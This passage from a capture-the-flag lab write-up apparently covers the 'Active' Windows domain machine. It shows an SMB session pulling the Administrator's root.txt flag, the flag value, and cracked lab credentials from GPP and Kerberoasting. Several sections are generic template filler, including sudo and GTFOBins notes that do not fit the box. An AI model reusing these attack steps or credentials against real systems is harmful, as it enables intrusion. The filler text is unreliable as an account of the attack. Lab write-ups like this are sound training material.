NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms AHS 524288 Mon Jul 16 19:14:15 2018
NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms AHS 524288 Mon Jul 16 19:14:15 2018
ntuser.ini HS 20 Mon Jul 16 19:14:15 2018
Pictures DR 0 Mon Jul 30 22:50:10 2018
PrintHood DHSrn 0 Mon Jul 16 19:14:15 2018
Recent DHSrn 0 Mon Jul 16 19:14:15 2018
Saved Games DR 0 Mon Jul 30 22:50:10 2018
Searches DR 0 Mon Jul 30 22:50:10 2018
SendTo DHSrn 0 Mon Jul 16 19:14:15 2018
Start Menu DHSrn 0 Mon Jul 16 19:14:15 2018
Templates DHSrn 0 Mon Jul 16 19:14:15 2018
Videos DR 0 Mon Jul 30 22:50:10 2018
5217023 blocks of size 4096. 278900 blocks available
smb: \Administrator\> cd Desktop\
ls
smb: \Administrator\Desktop\> ls
. DR 0 Fri Jan 22 01:49:47 2021
.. DR 0 Fri Jan 22 01:49:47 2021
desktop.ini AHS 282 Mon Jul 30 22:50:10 2018
root.txt AR 34 Thu Dec 26 22:57:34 2024
5217023 blocks of size 4096. 278900 blocks available
smb: \Administrator\Desktop\> get root.txt
getting file \Administrator\Desktop\root.txt of size 34 as root.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \Administrator\Desktop\> ^C
❌[2:16][CPU:1][MEM:20][IP:10.10.14.92][...z0/tools/windows/impacket]
🐉 > cat root.txt
d4e5b9839e8317c7bd3182e3d1a04846
Not implemented (or log not saved)
No additional logs saved.
💡 なぜ有効か
Initial access succeeds when enumeration findings are turned into a practical exploit chain. Capturing credentials, file disclosure, or direct RCE creates reliable pivot points for privilege escalation.
権限昇格
3.Privilege Escalation
Extracting commands related to privilege escalation steps. Please add confirmation logs such as whoami /all and sudo -l as necessary.
💡 なぜ有効か
Privilege escalation depends on chaining local weaknesses such as sudo misconfiguration, weak file permissions, or credential reuse. If a GTFOBins technique is used, the mechanism is that an allowed binary executes a child process or shell without dropping elevated effective privileges.
認証情報
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Domain: active.htb
Service account: active.htb\SVC_TGS
Password from GPP cpassword: GPPstillStandingStrong2k18
Kerberoast crack result: Administrator / Ticketmaster1968
まとめ・学んだこと
4.Overview
flowchart LR
subgraph SCAN["🔍 Scan"]
direction TB
S1["Service and vulnerability enumeration"]
end
subgraph INITIAL["💥 Initial Foothold"]
direction TB
I1["Initial foothold via discovered vector"]
end
subgraph PRIVESC["⬆️ Privilege Escalation"]
direction TB
P1["Privilege escalation / high privilege access"]
end
SCAN --> INITIAL --> PRIVESC
参考文献
- nmap
- rustscan
- sudo
- cat
- find
- impacket
- GTFOBins
This post is licensed under CC BY 4.0 by the author.